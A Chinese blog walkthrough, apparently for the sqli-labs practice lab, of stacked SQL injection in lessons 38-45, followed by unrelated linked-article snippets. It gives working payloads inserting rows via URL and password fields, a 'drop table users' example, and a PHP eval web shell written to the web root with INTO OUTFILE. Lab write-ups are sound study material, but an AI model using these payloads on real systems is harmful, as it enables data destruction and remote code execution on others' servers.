从page3也就是less 38开始进入了堆叠注入(stacked injection)

stacked injection:

简单来说就是进行SQL注入时注入了多条语句。因为之前我们都是只进行过注入一条语句完成attack,

而现在开始一般用;来进行多条语句的注入。在SQL中,分号(;)是用来表示一条sql语句的结束。

我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。

而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union

或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

举个例子: select * from users where id = 1 ; drop table users;

第一条语句查询信息,第二条删除users表

(注意oracle数据库无法进行堆叠注入,当在其中输入两条或更多语句时直接报错无效字符。)

less 38

观察源码可以看到数据库执行的select语句为:

SELECT * FROM users WHERE id='$id' LIMIT 0,1

构造payload:

?id=1' ; insert into users(id,username,password) values ('100',‘less38’,‘zzw’) --+

查看数据库:

less 39

观察源码: 是数字型注入

构造payload:

?id=1;insert into users(id,username,password) values('39','less39','39')#

查看数据库:(截图一直转圈...就不上传了)

less 40

本关的sql语句为SELECT * FROM users WHERE id=('$id') LIMIT 0,1

闭合的时候注意用 ') 闭合前面的 ('  ,之后后面的 ‘)用 --+注释掉即可 和前两关步骤一样

payload:

?id=1'); insert into users(id,username,password) values ('40','less40','40') --+

less 41

本关和less 39闭合语句思路是一样的,都是数字型注入,只是没有错误回显了

payload:

?id=1; insert into users(id,username,password) values ('41','less41','41')

less 42

本关变为了post型注入,且观察源代码发现在username处用到了mysqli_real_escape_string函数

进行了过滤,但是password没有进行过滤,切换注入点为password即可。

username随便输入,在password出输入构造的payload

payload:

1'; insert into users(id,username,password) values ('42','less42','42');#

尝试用插入的用户名和密码进行登录

less 43

与less 42基本一致,也是在password处构造并输入payload

只是此处闭合语句用 ') 闭合前面的 (' 后面就用注释符注释掉即可

用insert into 插入我们想要的username 和 password

payload:

1'); insert into users(id,username,password) values ('43','less43','43');#

less 44

本关与less 43基本一致,区别在于没有回显信息,password处的包裹为 '

password处构造payload:

1'; insert into users(id,username,password) values ('44','less44','44');#

less 45

与less 42基本一致 区别在于没有错误信息回显,password处被('')包裹

还是在password处构造payload:

1');insert into users(id,username,password) values ('45','less45','45') #

此处介绍另外一种方法,利用一句话木马和中国菜刀

1.需要有写权限

2.需要一句话木马

3.select xxx into outfile xxx

4.绝对路径

以less45为例,构造payload:

1');select '<?php @eval($_post["users"]);?>' into outfile 'C:\\phpstudy1\\PHPTutorial\\

WWW\\sqli-labs-master\\Less-45\\1.php' #

(测试有误  不定期更新)

sqli-labs lesson 38-45的更多相关文章

  1. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  2. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  3. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  4. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  5. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

  6. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  7. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  8. SQLI LABS Stacked Part(38-53) WriteUp

    这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...

  9. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

  10. Sqli labs系列-less-5&6 报错注入法(下)

    我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...

随机推荐

  1. 结构型模式 -- 代理模式(静态代理&动态代理)

    静态代理: 真实角色和代理角色实现相同的接口,代理角色拥有真实角色的引用.代理角色去执行方法,对于某些"真正"需要真实角色自己执行的方法时,在代理角色内部就调用真实角色的方法,其他 ...

  2. nohup &的用法、进程查看以及终止

    p.p1 { margin: 0 0 2px; font: 16px ".PingFang SC" } p.p2 { margin: 0; font: 12px "Hel ...

  3. Swoole异步投递task任务

    [使用场景] Swoole的task模块可以用来做一些异步的慢速任务.耗时场景.如webim中发广播,发送邮件等,把这些任务丢给task进程之后,worker进程可以继续处理新的数据请求,任务完成后会 ...

  4. layim即时通讯实例各功能整合

    一.系统演示1.1 聊天窗体主界面演示 1.2 模拟两人在线聊天(点击图片查看演示视频) 1.3 在线演示> 在线演示,点击进入系统到这里,若是您想要的,接下来听我娓娓道来二.开发工具开发软件: ...

  5. printf函数返回值

    //返回值:正确返回输出的字符总数,错误返回负值,与此同时,输入输出流错误标志将被置值,可由指示器ferror来检查输入输出流的错误标志. #include <stdio.h> #defi ...

  6. python使用selenium,webdriver自动下载百度网盘内容

    想实现一个自动下载微信公众号分享百度网盘图片链接的爬虫,使用selenium和火狐的webdriver进行完成 1.首先根据自己的浏览器下载相应的webdriver驱动器,python中导入selen ...

  7. 记录Jackson和Lombok的坑

    记录Jackson和Lombok的坑 今天遇到Jackson反序列化json缺少了字段,后来研究下发现是Jackson的机制和Lombok生成的setter不一致,导致没有正确调用setter. 复现 ...

  8. 通过http将yum仓库发布

    说明:这里是Linux服务综合搭建文章的一部分,本文可以作为单独构建http和发布yum仓库到内网的参考. 注意:这里所有的标题都是根据主要的文章(Linux基础服务搭建综合)的顺序来做的. 如果需要 ...

  9. npm 安装、卸载模块

    npm安装模块 [npm install xxx]利用 npm 安装xxx模块到当前命令行所在目录:[npm install -g xxx]利用npm安装全局模块xxx:本地安装时将模块写入packa ...

  10. python中浮点数比较判断!为什么不能用==

    问题:浮点数比较为什么不能用==来写? 答:计算机里面的数字是由二进制保存的,在计算机内部有些数字不能准确的保存,于是就保存了一个最靠近的数字. 计算机表示浮点数(float或double类型)都有一 ...